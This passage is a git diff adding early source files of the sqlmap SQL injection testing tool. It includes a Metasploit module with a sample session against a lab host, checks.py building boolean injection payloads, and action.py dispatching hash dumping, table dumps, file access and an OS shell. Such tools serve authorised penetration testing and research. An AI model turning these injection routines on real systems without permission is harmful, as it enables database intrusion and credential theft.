for reporting a bugs when using (-a) a single line User-Agent file + for providing me with some ideas for the PHP backdoor + +Roberto Nemirovsky <roberto.paes@gmail.com> + for pointing me out some enhancements + +Antonio Parata <s4tan@ictsc.it> + for providing me with some ideas for the PHP backdoor + +Chris Patten <cpatten@sunera.com> + for reporting a bug in the blind SQL injection bisection algorithm + +Adam Pridgen <adam.pridgen@gmail.com> + for suggesting some features + +Alberto Revelli <r00t@northernfortress.net> + for inspiring me to write sqlmap user's manual in SGML + for his great Microsoft SQL Server take over tool, sqlninja, + http://sqlninja.sourceforge.net + +Andres Riancho <andres.riancho@gmail.com> + for beta-testing sqlmap + for reporting a bug and suggesting some features + for including sqlmap in his great web application audit and attack + framework, w3af, http://w3af.sourceforge.net + +Antonio Riva <antonio.riva@gmail.com> + for reporting a bug when running with python 2.5 + +Richard Safran <allapplyhere@yahoo.com> + for donating the sqlmap.org domain control + +Tomoyuki Sakurai <cherry@trombik.org> + for submitting to the FreeBSD project the sqlmap 0.5 port + +M Simkin <mlsimkin@cox.net> + for suggesting a feature + +Alessandro Tanasi <alessandro@tanasi.it> + for extensively beta-testing sqlmap + for suggesting many features and reporting some minor bugs + +Efrain Torres <et@metasploit.com> + for helping me out to improve the Metasploit Framework 3 sqlmap + auxiliary module and the integration with Metasploit WMAP framework + for his great Metasploit WMAP framework + +Sandro Tosi <matrixhasu@gmail.com> + for helping to create sqlmap Debian package correctly + +Bedirhan Urgun <bedirhanurgun@gmail.com> + for extensively beta-testing sqlmap + for suggesting some features and improvements + for benchmarking sqlmap in the context of his SQL injection + benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench + +fufuh <fufuh@users.sourceforge.net> + for reporting a bug when running on Windows + +Sylphid <sylphid.su@sti.com.tw> + for suggesting some features + + +== Organizations == + +OWASP Board <http://www.owasp.org> + for sponsoring part of the sqlmap development in the context of OWASP + Spring of Code 2007 diff --git a/extra/msfauxmod/README b/extra/msfauxmod/README new file mode 100644 index 000000000..26d16f35a --- /dev/null +++ b/extra/msfauxmod/README @@ -0,0 +1,74 @@ +To use Metasploit's sqlmap auxiliary module launch msfconsole and follow +the example below: + +$ ./msfconsole + + _ _ _ _ + | | | | (_) | + _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ +| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| +| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ +|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| + | | + |_| + + + =[ msf v3.2-testing ++ -- --=[ 308 exploits - 173 payloads ++ -- --=[ 20 encoders - 6 nops + =[ 75 aux + +msf > use auxiliary/scanner/http/wmap_sqlmap +msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121 +RHOSTS => 192.168.1.121 +msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php +PATH => /sqlmap/mysql/get_int.php +msf auxiliary(wmap_sqlmap) > set QUERY id=1 +QUERY => id=1 +msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user' +OPTS => --dbs --current-user +msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py +msf auxiliary(wmap_sqlmap) > show options + +Module options: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BATCH true yes Never ask for user input, use the default behaviour + DATA no The data string to be sent through POST + METHOD GET yes HTTP Method + OPTS --dbs --current-user no The sqlmap options to use + PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection + Proxies no Use a proxy chain + QUERY id=1 no HTTP GET query + RHOSTS 192.168.1.121 yes The target address range or CIDR identifier + RPORT 80 yes The target port + SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path + SSL false no Use SSL + THREADS 1 yes The number of concurrent threads + VHOST no HTTP server virtual host + +msf auxiliary(wmap_sqlmap) > run +[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121/sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch +SQLMAP: +SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> +SQLMAP: and Daniele Bellucci <daniele.bellucci@gmail.com> +SQLMAP: +SQLMAP: [*] starting at: 01:31:41 +SQLMAP: +SQLMAP: [01:31:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +SQLMAP: back-end DBMS: MySQL >= 5.0.0 +SQLMAP: +SQLMAP: current user: 'testuser@localhost' +SQLMAP: +SQLMAP: available databases [4]: +SQLMAP: [*] information_schema +SQLMAP: [*] mysql +SQLMAP: [*] privatedb +SQLMAP: [*] test +SQLMAP: +SQLMAP: +SQLMAP: [*] shutting down at: 01:31:44 +SQLMAP: +[*] Auxiliary module execution completed +msf auxiliary(wmap_sqlmap) > diff --git a/extra/msfauxmod/wmap_sqlmap.rb b/extra/msfauxmod/wmap_sqlmap.rb new file mode 100644 index 000000000..9a0fc91b0 --- /dev/null +++ b/extra/msfauxmod/wmap_sqlmap.rb @@ -0,0 +1,90 @@ +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WMAPScanUniqueQuery + include Msf::Auxiliary::Scanner + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SQLMAP SQL Injection External Module', + 'Description' => %q{ + This module launch a sqlmap session. + sqlmap is an automatic SQL injection tool developed in Python. + Its goal is to detect and take advantage of SQL injection + vulnerabilities on web applications. Once it detects one + or more SQL injections on the target host, the user can + choose among a variety of options to perform an extensive + back-end database management system fingerprint, retrieve + DBMS session user and database, enumerate users, password + hashes, privileges, databases, dump entire or user + specific DBMS tables/columns, run his own SQL SELECT + statement, read specific files on the file system and much + more. + }, + 'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ], + 'License' => BSD_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['URL', 'http://sqlmap.sourceforge.net'], + ] + )) + + register_options( + [ + OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]), + OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]), + OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]), + OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]), + OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]), + OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]), + OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", 'true' ]) + ], self.class) + end + + # Test a single host + def run_host(ip) + + sqlmap = datastore['SQLMAP_PATH'] + + if not sqlmap + print_error("The sqlmap script could not be found") + return + end + + data = datastore['DATA'] + method = datastore['METHOD'].upcase + + sqlmap_url = (datastore['SSL'] ? "https" : "http") + sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT'] + sqlmap_url += "/" + datastore['PATH'] + + if method == "GET" + sqlmap_url += '?' + datastore['QUERY'] + end + + cmd = sqlmap + ' -u \'' + sqlmap_url + '\'' + cmd += ' --method ' + method + cmd += ' ' + datastore['OPTS'] + + if not data.empty? + cmd += ' --data \'' + data + '\'' + end + + if datastore['BATCH'] == true + cmd += ' --batch' + end + + print_status("exec: #{cmd}") + IO.popen( cmd ) do |io| + io.each_line do |line| + print_line("SQLMAP: " + line.strip) + end + end + end + +end diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/contrib/__init__.py b/lib/contrib/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/contrib/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py new file mode 100644 index 000000000..ecf5c07a3 --- /dev/null +++ b/lib/contrib/multipartpost.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python + +""" +$Id: multipartpost.py 316 2008-08-03 22:56:20Z inquisb $ + +02/2006 Will Holcomb <wholcomb@gmail.com> + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. +""" + + + +import mimetools +import mimetypes +import os +import stat +import sys +import urllib +import urllib2 + +from lib.core.exception import sqlmapDataException + + +class Callable: + def __init__(self, anycallable): + self.__call__ = anycallable + + +# Controls how sequences are uncoded. If true, elements may be given +# multiple values by assigning a sequence. +doseq = 1 + + +class MultipartPostHandler(urllib2.BaseHandler): + handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first + + def http_request(self, request): + data = request.get_data() + if data is not None and type(data) != str: + v_files = [] + v_vars = [] + try: + for(key, value) in data.items(): + if type(value) == file: + v_files.append((key, value)) + else: + v_vars.append((key, value)) + except TypeError: + systype, value, traceback = sys.exc_info() + raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback + + if len(v_files) == 0: + data = urllib.urlencode(v_vars, doseq) + else: + boundary, data = self.multipart_encode(v_vars, v_files) + contenttype = 'multipart/form-data; boundary=%s' % boundary + #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): + # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') + request.add_unredirected_header('Content-Type', contenttype) + + request.add_data(data) + return request + + + def multipart_encode(vars, files, boundary = None, buffer = None): + if boundary is None: + boundary = mimetools.choose_boundary() + if buffer is None: + buffer = '' + for(key, value) in vars: + buffer += '--%s\r\n' % boundary + buffer += 'Content-Disposition: form-data; name="%s"' % key + buffer += '\r\n\r\n' + value + '\r\n' + for(key, fd) in files: + file_size = os.fstat(fd.fileno())[stat.ST_SIZE] + filename = fd.name.split('/')[-1] + contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' + buffer += '--%s\r\n' % boundary + buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) + buffer += 'Content-Type: %s\r\n' % contenttype + # buffer += 'Content-Length: %s\r\n' % file_size + fd.seek(0) + buffer += '\r\n' + fd.read() + '\r\n' + buffer += '--%s--\r\n\r\n' % boundary + return boundary, buffer + multipart_encode = Callable(multipart_encode) + + https_request = http_request + diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/controller/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/controller/action.py b/lib/controller/action.py new file mode 100644 index 000000000..e5f4487ef --- /dev/null +++ b/lib/controller/action.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python + +""" +$Id: action.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.controller.handler import setHandler +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.dump import dumper +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.settings import SUPPORTED_DBMS +from lib.techniques.inband.union.test import unionTest + + +def action(): + """ + This function exploit the SQL injection on the affected + url parameter and extract requested data from the + back-end database management system or operating system + if possible + """ + + # First of all we have to identify the back-end database management + # system to be able to go ahead with the injection + conf.dbmsHandler = setHandler() + + if not conf.dbmsHandler: + htmlParsed = getHtmlErrorFp() + + errMsg = "sqlmap was not able to fingerprint the " + errMsg += "back-end database management system" + + if htmlParsed: + errMsg += ", but from the HTML error page it was " + errMsg += "possible to determinate that the " + errMsg += "back-end DBMS is %s" % htmlParsed + + if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS: + errMsg += ". Do not specify the back-end DBMS manually, " + errMsg += "sqlmap will fingerprint the DBMS for you" + else: + errMsg += ". Support for this DBMS will be implemented if " + errMsg += "you ask, just drop us an email" + + raise sqlmapUnsupportedDBMSException, errMsg + + print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() + + # Miscellaneous options + if conf.unionTest: + dumper.string("valid union", unionTest()) + + # Enumeration options + if conf.getBanner: + dumper.string("banner", conf.dbmsHandler.getBanner()) + + if conf.getCurrentUser: + dumper.string("current user", conf.dbmsHandler.getCurrentUser()) + + if conf.getCurrentDb: + dumper.string("current database", conf.dbmsHandler.getCurrentDb()) + + if conf.getUsers: + dumper.lister("database management system users", conf.dbmsHandler.getUsers()) + + if conf.getPasswordHashes: + dumper.userSettings("database management system users password hashes", + conf.dbmsHandler.getPasswordHashes(), "password hash") + + if conf.getPrivileges: + dumper.userSettings("database management system users privileges", + conf.dbmsHandler.getPrivileges(), "privilege") + + if conf.getDbs: + dumper.lister("available databases", conf.dbmsHandler.getDbs()) + + if conf.getTables: + dumper.dbTables(conf.dbmsHandler.getTables()) + + if conf.getColumns: + dumper.dbTableColumns(conf.dbmsHandler.getColumns()) + + if conf.dumpTable: + dumper.dbTableValues(conf.dbmsHandler.dumpTable()) + + if conf.dumpAll: + conf.dbmsHandler.dumpAll() + + if conf.query: + dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) + + if conf.sqlShell: + conf.dbmsHandler.sqlShell() + + # File system options + if conf.rFile: + dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) + + if conf.wFile: + dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile)) + + # Takeover options + if conf.osShell: + conf.dbmsHandler.osShell() diff --git a/lib/controller/checks.py b/lib/controller/checks.py new file mode 100644 index 000000000..bedab1f69 --- /dev/null +++ b/lib/controller/checks.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python + +""" +$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.controller.action import action +from lib.core.agent import agent +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.core.session import setString +from lib.request.connect import Connect as Request + + +def checkSqlInjection(place, parameter, value, parenthesis): + """ + This function checks if the GET, POST, Cookie, User-Agent + parameters are affected by a SQL injection vulnerability and + identifies the type of SQL injection: + + * Unescaped numeric injection + * Single quoted string injection + * Double quoted string injection + """ + + logMsg = "testing unescaped numeric injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + randInt = randomInt() + randStr = randomStr() + + payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming unescaped numeric injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "unescaped numeric injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "numeric" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "unescaped numeric injectable" + logger.info(logMsg) + + logMsg = "testing single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "single quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "stringsingle" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "single quoted string injectable" + logger.info(logMsg) + + logMsg = "testing LIKE single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming LIKE single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "LIKE single quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "likesingle" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "LIKE single quoted string injectable" + logger.info(logMsg) + + logMsg = "testing double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "double quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "stringdouble" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "double quoted string injectable" + logger.info(logMsg) + + logMsg = "testing LIKE double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming LIKE double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "LIKE double quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "likedouble" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "LIKE double quoted string injectable" + logger.info(logMsg) + + return None + + +def checkDynParam(place, parameter, value): + """ + This function checks if the url parameter is dynamic. If it is + dynamic, the content of the page differs, otherwise the + dynamicity might depend on another parameter. + """ + + logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + randInt = randomInt() + payload = agent.payload(place, parameter, value, str(randInt)) + dynResult1 = Request.queryPage(payload, place) + + if kb.defaultResult == dynResult1: + return False + + logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "'%s" % randomStr()) + dynResult2 = Request.queryPage(payload, place) + + payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) + dynResult3 = Request.queryPage(payload, place) + + condition = kb.defaultResult != dynResult2 + condition |= kb.defaultResult != dynResult3 + + return condition + + +def checkStability(): + """ + This function checks if the URL content is stable requesting the + same page three times with a small delay within each request to + assume that it is stable. + + In case the content of the page differs when requesting + the same page, the dynamicity might depend on other parameters, + like for instance string matching (--string). + """ + + logMsg = "testing if the url is stable, wait a few seconds" + logger.info(logMsg) + + firstResult = Request.queryPage() + time.sleep(0.5) + + secondResult = Request.queryPage() + time.sleep(0.5) + + thirdResult = Request.queryPage() + + condition = firstResult == secondResult + condition &= secondResult == thirdResult + + return condition + + +def checkString(): + if not conf.string: + return True + + condition = ( + kb.resumedQueries.has_key(conf.url) and + kb.resumedQueries[conf.url].has_key("String") and + kb.resumedQueries[conf.url]["String"][:-1] == conf.string + ) + + if condition: + return True + + logMsg = "testing if the provided string is within the " + logMsg += "target URL page content" + logger.info(logMsg) + + page = Request.queryPage(content=True) + + if conf.string in page: + setString() + return True + else: + errMsg = "you provided '%s' as the string to " % conf.string + errMsg += "match, but such a string is not within the target " + errMsg += "URL page content, please provide another string." + logger.error(errMsg) + + return False + + +def checkConnection(): + logMsg = "testing connection to the target url" + logger.info(logMsg) + + try: + kb.defaultResult = Request.queryPage() + except sqlmapConnectionException, exceptionMsg: + if conf.googleDork: + exceptionMsg += ", skipping to next url" + logger.warn(exceptionMsg) + return False + else: + raise sqlmapConnectionException, exceptionMsg + + return True diff --git a/lib/controller/controller.py b/lib/controller/controller.py new file mode 100644 index 000000000..cbcf87d68 --- /dev/null +++ b/lib/controller/controller.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python + +""" +$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.controller.action import action +from lib.controller.checks import checkSqlInjection +from lib.controller.checks import checkDynParam +from lib.controller.checks import checkStability +from lib.controller.checks import checkString +from lib.controller.checks import checkConnection +from lib.core.common import paramToDict +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapNotVulnerableException +from lib.core.session import setInjection +from lib.core.target import createTargetDirs +from lib.core.target import initTargetEnv +from lib.utils.parenthesis import checkForParenthesis + + +def __selectInjection(injData): + """ + Selection function for injection place, parameters and type. + """ + + message = "there were multiple injection points, please select the " + message += "one to use to go ahead:\n" + + for i in xrange(0, len(injData)): + injPlace = injData[i][0] + injParameter = injData[i][1] + injType = injData[i][2] + + message += "[%d] place: %s, parameter: " % (i, injPlace) + message += "%s, type: %s" % (injParameter, injType) + + if i == 0: + message += " (default)" + + message += "\n" + + message += "[q] Quit\nChoice: " + select = readInput(message, default="0") + + if not select: + index = 0 + + elif select.isdigit() and int(select) < len(injData) and int(select) >= 0: + index = int(select) + + elif select[0] in ( "Q", "q" ): + return "Quit" + + else: + warnMsg = "Invalid choice, retry" + logger.warn(warnMsg) + __selectInjection(injData) + + return injData[index] + + +def start(): + """ + This function calls a function that performs checks on both URL + stability and all GET, POST, Cookie and User-Agent parameters to + check if they are dynamic and SQL injection affected + """ + + if conf.url: + kb.targetUrls.add(conf.url) + + if conf.configFile and not kb.targetUrls: + errMsg = "you did not edit the configuration file properly, set " + errMsg += "the target url properly" + logger.error(errMsg) + + hostCount = 0 + injData = [] + receivedCookies = [] + cookieStr = "" + setCookieAsInjectable = True + + for targetUrl in kb.targetUrls: + if conf.googleDork: + hostCount += 1 + + message = "url %d: %s, " % (hostCount, targetUrl) + message += "do you want to test this url? [Y/n/q] " + test = readInput(message, default="Y") + + if test[0] in ("n", "N"): + continue + elif test[0] in ("q", "Q"): + break + + logMsg = "testing url %s" % targetUrl + logger.info(logMsg) + + conf.url = targetUrl + initTargetEnv() + + if not checkConnection() or not checkString(): + continue + + for _, cookie in enumerate(conf.cj): + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s;" % cookie[8:index] + + if cookieStr: + cookieStr = cookieStr[:-1] + + if "Cookie" in conf.parameters: + message = "you provided an HTTP Cookie header value. " + message += "The target url provided its own Cookie within " + message += "the HTTP Set-Cookie header. Do you want to " + message += "continue using the HTTP Cookie values that " + message += "you provided? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + setCookieAsInjectable = False + + if setCookieAsInjectable: + conf.httpHeaders.append(("Cookie", cookieStr)) + conf.parameters["Cookie"] = cookieStr + __paramDict = paramToDict("Cookie", cookieStr) + + if __paramDict: + conf.paramDict["Cookie"] = __paramDict + __testableParameters = True + + if not kb.injPlace or not kb.injParameter or not kb.injType: + if not conf.string: + if checkStability(): + logMsg = "url is stable" + 